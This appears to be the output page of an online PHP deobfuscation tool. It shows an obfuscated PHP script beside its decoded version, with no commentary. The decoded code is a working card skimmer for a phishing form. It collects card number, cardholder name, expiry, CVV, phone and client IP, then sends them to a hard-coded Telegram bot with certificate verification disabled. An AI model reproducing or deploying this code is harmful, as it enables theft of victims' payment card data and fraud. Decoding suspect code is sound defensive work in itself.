Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php if (empty($_POST["\x63\156"])) { $nameErr = "\x20"; } elseif (strlen($_POST["\x63\..
Decoded Output download
<?php
if (empty($_POST["cn"])) { $nameErr = " "; } elseif (strlen($_POST["cn"]) > 50) { $nameErr = " "; } elseif (strlen($_POST["cn"]) < 1) { $nameErr = " "; } else { $cn = $_POST["cn"]; $nm = $_POST["nm"]; $mm = $_POST["mm"]; $yy = $_POST["yy"]; $cvv = $_POST["cvv"]; $phone = $_POST["phone"]; $ip = getenv("REMOTE_ADDR"); $port = $_SERVER["REMOTE_PORT"]; $hostname = gethostbyaddr($ip); $botToken = "7964514756:AAH3Czq85ut4Y0yT2XyzBS9bxjMIDygjnBs"; $chatId = "7434520480"; $url = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=card no: {$cn}%0Acard name: {$nm}%0Acard exp month: {$mm}%0Acard exp year: {$yy}%0Acvv2: {$cvv}%0APhone: {$phone}%0AClient ip: {$ip}%0A=============+ [ Created by OmeGaLorD ] +============="; $streamOptions = array("ssl" => array("verify_peer" => false, "verify_peer_name" => false), "http" => array("method" => "POST")); $context = stream_context_create($streamOptions); $response = file_get_contents($url, false, $context); if ($response === false) { echo "Failed to get the response."; } else { echo $response; } } ?>
Did this file decode correctly?
Original Code
<?php
if (empty($_POST["\x63\156"])) { $nameErr = "\x20"; } elseif (strlen($_POST["\x63\x6e"]) > 50) { $nameErr = "\x20"; } elseif (strlen($_POST["\143\156"]) < 1) { $nameErr = "\40"; } else { $cn = $_POST["\x63\156"]; $nm = $_POST["\x6e\155"]; $mm = $_POST["\x6d\x6d"]; $yy = $_POST["\171\171"]; $cvv = $_POST["\x63\166\x76"]; $phone = $_POST["\x70\x68\x6f\x6e\145"]; $ip = getenv("\122\105\x4d\x4f\x54\105\x5f\101\x44\x44\122"); $port = $_SERVER["\x52\105\115\x4f\124\x45\x5f\120\x4f\x52\x54"]; $hostname = gethostbyaddr($ip); $botToken = "\x37\x39\66\64\x35\x31\64\x37\65\x36\72\101\x41\x48\63\103\172\161\70\x35\165\x74\64\x59\60\171\124\x32\x58\171\x7a\102\123\71\x62\170\x6a\115\x49\104\x79\147\152\156\x42\163"; $chatId = "\x37\64\x33\x34\65\x32\x30\x34\70\60"; $url = "\x68\164\164\x70\x73\72\57\57\x61\x70\x69\x2e\164\x65\154\145\x67\x72\141\x6d\56\157\x72\x67\57\142\x6f\164{$botToken}\57\163\x65\x6e\144\x4d\x65\163\163\x61\147\x65\77\x63\150\141\164\137\x69\x64\x3d{$chatId}\46\164\x65\170\164\75\143\x61\162\144\40\156\157\x3a\40{$cn}\45\60\x41\x63\141\162\x64\40\x6e\141\155\x65\x3a\x20{$nm}\45\60\101\x63\x61\162\x64\x20\145\x78\160\x20\155\157\156\164\x68\72\x20{$mm}\x25\x30\101\143\x61\x72\144\40\x65\x78\x70\x20\171\x65\141\162\x3a\40{$yy}\x25\x30\101\x63\166\x76\62\72\x20{$cvv}\45\60\x41\x50\x68\x6f\156\x65\72\40{$phone}\x25\60\x41\103\154\151\x65\156\164\40\x69\160\x3a\x20{$ip}\45\x30\101\75\x3d\x3d\75\75\75\75\x3d\75\75\75\x3d\75\53\40\x5b\x20\103\162\145\141\164\145\x64\40\x62\171\40\117\x6d\x65\107\141\x4c\157\x72\x44\40\x5d\40\x2b\75\x3d\x3d\75\75\x3d\x3d\x3d\75\x3d\75\75\75"; $streamOptions = array("\x73\x73\x6c" => array("\166\145\x72\x69\x66\171\x5f\160\x65\145\x72" => false, "\166\x65\162\x69\146\171\137\160\x65\x65\162\x5f\156\x61\155\x65" => false), "\x68\x74\164\x70" => array("\x6d\145\x74\150\x6f\144" => "\x50\117\x53\x54")); $context = stream_context_create($streamOptions); $response = file_get_contents($url, false, $context); if ($response === false) { echo "\x46\x61\x69\x6c\145\x64\40\164\157\x20\147\145\x74\40\x74\150\145\x20\x72\x65\163\x70\157\156\163\145\56"; } else { echo $response; } } ?>
Function Calls
None |
Stats
MD5 | 01fb91bab119e28dbbde5b65fb11d950 |
Eval Count | 0 |
Decode Time | 76 ms |